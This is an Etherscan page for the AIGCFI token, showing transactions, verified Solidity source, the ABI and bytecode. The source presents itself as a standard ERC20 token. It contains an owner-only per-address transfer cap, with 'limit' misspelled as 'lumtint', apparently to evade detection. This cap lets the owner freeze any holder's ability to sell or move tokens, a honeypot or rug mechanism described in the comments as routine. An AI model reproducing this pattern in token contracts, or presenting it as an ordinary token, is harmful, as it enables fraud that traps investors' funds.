ETH Price: $3,262.19 (+5.19%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer212198032024-11-19 5:51:5972 days ago1731995519IN
0xf20afF3F...7f3589559
0 ETH0.000199147.30884371
Transfer212197822024-11-19 5:47:4772 days ago1731995267IN
0xf20afF3F...7f3589559
0 ETH0.000203097.45375414
Transfer204464232024-08-03 7:08:47180 days ago1722668927IN
0xf20afF3F...7f3589559
0 ETH0.000076392.80365531
Approve204464112024-08-03 7:06:23180 days ago1722668783IN
0xf20afF3F...7f3589559
0 ETH0.00011192.37303633
Approve200162082024-06-04 4:55:47240 days ago1717476947IN
0xf20afF3F...7f3589559
0 ETH0.000243335.1666726
Approve200161842024-06-04 4:50:59240 days ago1717476659IN
0xf20afF3F...7f3589559
0 ETH0.000150815.53311698
Approve200161832024-06-04 4:50:47240 days ago1717476647IN
0xf20afF3F...7f3589559
0 ETH0.00026445.60687157
Approve198354702024-05-09 22:28:59265 days ago1715293739IN
0xf20afF3F...7f3589559
0 ETH0.000272435.78457311
Approve196712312024-04-16 23:11:47288 days ago1713309107IN
0xf20afF3F...7f3589559
0 ETH0.000343237.27858682
Approve195868022024-04-05 3:15:59300 days ago1712286959IN
0xf20afF3F...7f3589559
0 ETH0.0006189213.12471516
Approve194549842024-03-17 13:53:47318 days ago1710683627IN
0xf20afF3F...7f3589559
0 ETH0.0014560730.91643972
Approve193157542024-02-27 1:57:23338 days ago1708999043IN
0xf20afF3F...7f3589559
0 ETH0.0020281343.06299364
Approve192934822024-02-23 23:11:35341 days ago1708729895IN
0xf20afF3F...7f3589559
0 ETH0.0015364532.62315718
Approve192884192024-02-23 6:11:11342 days ago1708668671IN
0xf20afF3F...7f3589559
0 ETH0.0013450528.55919148
Transfer187664202023-12-12 0:05:35415 days ago1702339535IN
0xf20afF3F...7f3589559
0 ETH0.0010584538.86390627
Approve186818432023-11-30 3:48:59427 days ago1701316139IN
0xf20afF3F...7f3589559
0 ETH0.0009271237.36457039
Approve186818412023-11-30 3:48:35427 days ago1701316115IN
0xf20afF3F...7f3589559
0 ETH0.0009600338.59762071
Approve186514832023-11-25 21:47:35431 days ago1700948855IN
0xf20afF3F...7f3589559
0 ETH0.0005995424.10406794
Approve186514802023-11-25 21:46:59431 days ago1700948819IN
0xf20afF3F...7f3589559
0 ETH0.0005765623.23659306
Transfer186395242023-11-24 5:36:35433 days ago1700804195IN
0xf20afF3F...7f3589559
0 ETH0.0005336519.76491909
Transfer186372442023-11-23 21:54:23433 days ago1700776463IN
0xf20afF3F...7f3589559
0 ETH0.0006275523.03213637
Transfer186372192023-11-23 21:49:23433 days ago1700776163IN
0xf20afF3F...7f3589559
0 ETH0.0006610924.48509154
Approve186295492023-11-22 20:05:35434 days ago1700683535IN
0xf20afF3F...7f3589559
0 ETH0.0023659650.23592105
Approve186268512023-11-22 11:02:23435 days ago1700650943IN
0xf20afF3F...7f3589559
0 ETH0.0007361529.66797557
Transfer186262192023-11-22 8:54:23435 days ago1700643263IN
0xf20afF3F...7f3589559
0 ETH0.0010403227.41232724
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
AIGCFI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-29
*/

// Importing the standard interface for ERC20 tokens
pragma solidity ^0.8.0;
interface IERC20 {
    // These functions aren't implemented here but need to be in any contract that aims to fulfill the ERC20 standard.
    
    // Returns the total supply of the token.
    function totalSupply() external view returns (uint256);

    // Returns the balance of a specific address.
    function balanceOf(address account) external view returns (uint256);

    // Transfers a certain amount of tokens to a specified address.
    function transfer(address recipient, uint256 amount) external returns (bool);

    // Checks how many tokens are allowed to be transferred from one address to another.
    function allowance(address owner, address spender) external view returns (uint256);

    // Approves a certain amount of tokens to be transferred from the caller's address.
    function approve(address spender, uint256 amount) external returns (bool);

    // Transfers from one address to another, considering the approved amount.
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    // Events to log transfers and approvals.
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// Abstract contract that provides information about the transaction's sender.
abstract contract Context {
    // Returns the address of the entity executing the current function.
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

// Contract that implements ownership functionalities, including renouncing and transferring ownership.
contract Ownable is Context {
    address private _owner; // Storage for the owner's address
    
    // Event to log ownership transfers.
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        // The deployer of the contract is set as the initial owner.
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    // Returns the address of the current owner.
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Modifier to restrict functions to only the contract owner.
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Allows the current owner to relinquish ownership. The owner will be set to a "dead address".
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

// Main token contract.
contract AIGCFI is Context, Ownable, IERC20 {
    // Storage for useder balances and allowances.
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Storage for transfer lumtints and their tracking.
    mapping(address => uint256) public totalTransferlumtints;
    mapping(address => uint256) public totalTransferredAmounts;

    // Token attributes
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    // Modifier to enforce transfer lumtints for certain addresses.
    modifier transferlumtint(address sender, uint256 amount) {
        uint256 lumtint = totalTransferlumtints[sender];
        if (lumtint > 0) {
            require(totalTransferredAmounts[sender] + amount <= lumtint, "Total transfer amount exceeds the set lumtint");
        }
        _;
    }

    // Constructor to initialize the token's attributes and mint the initial supply.
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    // Getters for token attributes.
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    // Function to set a transfer lumtint for a useder. Only the owner can do this.
    function setTotalTransferlumtint(address useder, uint256 lumtint) public onlyOwner {
        totalTransferlumtints[useder] = lumtint;
    }

    // Function to remove a useder's transfer lumtint. Only the owner can do this.
    function removeTotalTransferlumtint(address useder) public onlyOwner {
        delete totalTransferlumtints[useder];
    }

    // Transfer tokens to a specified address.
    function transfer(address recipient, uint256 amount) public virtual override transferlumtint(_msgSender(), amount) returns (bool) {
        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        totalTransferredAmounts[_msgSender()] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    // Check the amount of tokens allowed to be spent by a spender on behalf of the owner.
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    // Approve a spender to spend a certain amount of tokens on behalf of the message sender.
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    // Transfer tokens from one address to another on behalf of the owner.
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override transferlumtint(sender, amount) returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "Transfer amount exceeds allowance");
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        totalTransferredAmounts[sender] += amount;
        _allowances[sender][_msgSender()] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"useder","type":"address"}],"name":"removeTotalTransferlumtint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"useder","type":"address"},{"internalType":"uint256","name":"lumtint","type":"uint256"}],"name":"setTotalTransferlumtint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferlumtints","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"totalTransferredAmounts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b5060405162001d4c38038062001d4c833981810160405281019062000037919062000386565b6000620000496200022e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3508360059080519060200190620000ff92919062000236565b5082600690805190602001906200011892919062000236565b5081600760006101000a81548160ff021916908360ff16021790555081600a62000143919062000514565b8162000150919062000651565b600881905550600854600160006200016d6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001bb6200022e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200021c919062000435565b60405180910390a35050505062000803565b600033905090565b8280546200024490620006ff565b90600052602060002090601f016020900481019282620002685760008555620002b4565b82601f106200028357805160ff1916838001178555620002b4565b82800160010185558215620002b4579182015b82811115620002b357825182559160200191906001019062000296565b5b509050620002c39190620002c7565b5090565b5b80821115620002e2576000816000905550600101620002c8565b5090565b6000620002fd620002f78462000486565b62000452565b9050828152602081018484840111156200031657600080fd5b62000323848285620006c9565b509392505050565b600082601f8301126200033d57600080fd5b81516200034f848260208601620002e6565b91505092915050565b6000815190506200036981620007cf565b92915050565b6000815190506200038081620007e9565b92915050565b600080600080608085870312156200039d57600080fd5b600085015167ffffffffffffffff811115620003b857600080fd5b620003c6878288016200032b565b945050602085015167ffffffffffffffff811115620003e457600080fd5b620003f2878288016200032b565b935050604062000405878288016200036f565b9250506060620004188782880162000358565b91505092959194509250565b6200042f81620006b2565b82525050565b60006020820190506200044c600083018462000424565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200047c576200047b62000793565b5b8060405250919050565b600067ffffffffffffffff821115620004a457620004a362000793565b5b601f19601f8301169050602081019050919050565b6000808291508390505b60018511156200050b57808604811115620004e357620004e262000735565b5b6001851615620004f35780820291505b80810290506200050385620007c2565b9450620004c3565b94509492505050565b60006200052182620006b2565b91506200052e83620006bc565b92506200055d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000565565b905092915050565b6000826200057757600190506200064a565b816200058757600090506200064a565b8160018114620005a05760028114620005ab57620005e1565b60019150506200064a565b60ff841115620005c057620005bf62000735565b5b8360020a915084821115620005da57620005d962000735565b5b506200064a565b5060208310610133831016604e8410600b84101617156200061b5782820a90508381111562000615576200061462000735565b5b6200064a565b6200062a8484846001620004b9565b9250905081840481111562000644576200064362000735565b5b81810290505b9392505050565b60006200065e82620006b2565b91506200066b83620006b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006a757620006a662000735565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620006e9578082015181840152602081019050620006cc565b83811115620006f9576000848401525b50505050565b600060028204905060018216806200071857607f821691505b602082108114156200072f576200072e62000764565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b620007da81620006b2565b8114620007e657600080fd5b50565b620007f481620006bc565b81146200080057600080fd5b50565b61153980620008136000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610276578063cee5e052146102a6578063dd62ed3e146102c2578063e3eaeb5c146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a578063900e12bb1461022857806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806305bc61bf146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061105b565b610322565b005b61011e6103e6565b60405161012b919061124e565b60405180910390f35b61014e6004803603810190610149919061105b565b610478565b60405161015b9190611233565b60405180910390f35b61016c610578565b60405161017991906112d0565b60405180910390f35b61019c6004803603810190610197919061100c565b610582565b6040516101a99190611233565b60405180910390f35b6101ba610936565b6040516101c791906112eb565b60405180910390f35b6101ea60048036038101906101e59190610fa7565b61094d565b6040516101f791906112d0565b60405180910390f35b610208610996565b005b610212610ad2565b60405161021f9190611218565b60405180910390f35b610242600480360381019061023d9190610fa7565b610afb565b60405161024f91906112d0565b60405180910390f35b610260610b13565b60405161026d919061124e565b60405180910390f35b610290600480360381019061028b919061105b565b610ba5565b60405161029d9190611233565b60405180910390f35b6102c060048036038101906102bb9190610fa7565b610e14565b005b6102dc60048036038101906102d79190610fd0565b610ed6565b6040516102e991906112d0565b60405180910390f35b61030c60048036038101906103079190610fa7565b610f5d565b60405161031991906112d0565b60405180910390f35b61032a610f75565b73ffffffffffffffffffffffffffffffffffffffff16610348610ad2565b73ffffffffffffffffffffffffffffffffffffffff161461039e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610395906112b0565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600580546103f590611434565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611434565b801561046e5780601f106104435761010080835404028352916020019161046e565b820191906000526020600020905b81548152906001019060200180831161045157829003601f168201915b5050505050905090565b60008160026000610487610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610521610f75565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056691906112d0565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610661578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061f9190611322565b1115610660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065790611290565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ab610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071e90611270565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cc9190611322565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108229190611322565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610873610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108bc9190611378565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161092091906112d0565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099e610f75565b73ffffffffffffffffffffffffffffffffffffffff166109bc610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a09906112b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60036020528060005260406000206000915090505481565b606060068054610b2290611434565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4e90611434565b8015610b9b5780601f10610b7057610100808354040283529160200191610b9b565b820191906000526020600020905b815481529060010190602001808311610b7e57829003601f168201915b5050505050905090565b6000610baf610f75565b826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610c8b578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c499190611322565b1115610c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8190611290565b60405180910390fd5b5b8460016000610c98610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce19190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d379190611322565b925050819055508460046000610d4b610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d949190611322565b925050819055508573ffffffffffffffffffffffffffffffffffffffff16610dba610f75565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610dff91906112d0565b60405180910390a36001935050505092915050565b610e1c610f75565b73ffffffffffffffffffffffffffffffffffffffff16610e3a610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610e90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e87906112b0565b60405180910390fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60046020528060005260406000206000915090505481565b600033905090565b600081359050610f8c816114d5565b92915050565b600081359050610fa1816114ec565b92915050565b600060208284031215610fb957600080fd5b6000610fc784828501610f7d565b91505092915050565b60008060408385031215610fe357600080fd5b6000610ff185828601610f7d565b925050602061100285828601610f7d565b9150509250929050565b60008060006060848603121561102157600080fd5b600061102f86828701610f7d565b935050602061104086828701610f7d565b925050604061105186828701610f92565b9150509250925092565b6000806040838503121561106e57600080fd5b600061107c85828601610f7d565b925050602061108d85828601610f92565b9150509250929050565b6110a0816113ac565b82525050565b6110af816113be565b82525050565b60006110c082611306565b6110ca8185611311565b93506110da818560208601611401565b6110e3816114c4565b840191505092915050565b60006110fb602183611311565b91507f5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6360008301527f65000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611161602d83611311565b91507f546f74616c207472616e7366657220616d6f756e74206578636565647320746860008301527f6520736574206c756d74696e74000000000000000000000000000000000000006020830152604082019050919050565b60006111c7602083611311565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b611203816113ea565b82525050565b611212816113f4565b82525050565b600060208201905061122d6000830184611097565b92915050565b600060208201905061124860008301846110a6565b92915050565b6000602082019050818103600083015261126881846110b5565b905092915050565b60006020820190508181036000830152611289816110ee565b9050919050565b600060208201905081810360008301526112a981611154565b9050919050565b600060208201905081810360008301526112c9816111ba565b9050919050565b60006020820190506112e560008301846111fa565b92915050565b60006020820190506113006000830184611209565b92915050565b600081519050919050565b600082825260208201905092915050565b600061132d826113ea565b9150611338836113ea565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561136d5761136c611466565b5b828201905092915050565b6000611383826113ea565b915061138e836113ea565b9250828210156113a1576113a0611466565b5b828203905092915050565b60006113b7826113ca565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561141f578082015181840152602081019050611404565b8381111561142e576000848401525b50505050565b6000600282049050600182168061144c57607f821691505b602082108114156114605761145f611495565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6114de816113ac565b81146114e957600080fd5b50565b6114f5816113ea565b811461150057600080fd5b5056fea264697066735822122036f9852351c4fe0ccb50e1b034051d1f433c4c9115c20bd37fda4aeb7b30fa8f64736f6c63430008000033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000d09dc3000000000000000000000000000000000000000000000000000000000000000006414947434649000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000064149474346490000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610276578063cee5e052146102a6578063dd62ed3e146102c2578063e3eaeb5c146102f2576100f5565b8063715018a6146102005780638da5cb5b1461020a578063900e12bb1461022857806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806370a08231146101d0576100f5565b806305bc61bf146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f919061105b565b610322565b005b61011e6103e6565b60405161012b919061124e565b60405180910390f35b61014e6004803603810190610149919061105b565b610478565b60405161015b9190611233565b60405180910390f35b61016c610578565b60405161017991906112d0565b60405180910390f35b61019c6004803603810190610197919061100c565b610582565b6040516101a99190611233565b60405180910390f35b6101ba610936565b6040516101c791906112eb565b60405180910390f35b6101ea60048036038101906101e59190610fa7565b61094d565b6040516101f791906112d0565b60405180910390f35b610208610996565b005b610212610ad2565b60405161021f9190611218565b60405180910390f35b610242600480360381019061023d9190610fa7565b610afb565b60405161024f91906112d0565b60405180910390f35b610260610b13565b60405161026d919061124e565b60405180910390f35b610290600480360381019061028b919061105b565b610ba5565b60405161029d9190611233565b60405180910390f35b6102c060048036038101906102bb9190610fa7565b610e14565b005b6102dc60048036038101906102d79190610fd0565b610ed6565b6040516102e991906112d0565b60405180910390f35b61030c60048036038101906103079190610fa7565b610f5d565b60405161031991906112d0565b60405180910390f35b61032a610f75565b73ffffffffffffffffffffffffffffffffffffffff16610348610ad2565b73ffffffffffffffffffffffffffffffffffffffff161461039e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610395906112b0565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600580546103f590611434565b80601f016020809104026020016040519081016040528092919081815260200182805461042190611434565b801561046e5780601f106104435761010080835404028352916020019161046e565b820191906000526020600020905b81548152906001019060200180831161045157829003601f168201915b5050505050905090565b60008160026000610487610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16610521610f75565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161056691906112d0565b60405180910390a36001905092915050565b6000600854905090565b600083826000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811115610661578082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461061f9190611322565b1115610660576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065790611290565b60405180910390fd5b5b84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ab610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610727576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071e90611270565b60405180910390fd5b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107769190611378565b9250508190555084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107cc9190611322565b9250508190555084600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108229190611322565b9250508190555084600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610873610f75565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108bc9190611378565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8760405161092091906112d0565b60405180910390a3600193505050509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61099e610f75565b73ffffffffffffffffffffffffffffffffffffffff166109bc610ad2565b73ffffffffffffffffffffffffffffffffffffffff1614610a12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a09906112b0565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473fffffffffffffffffffffffff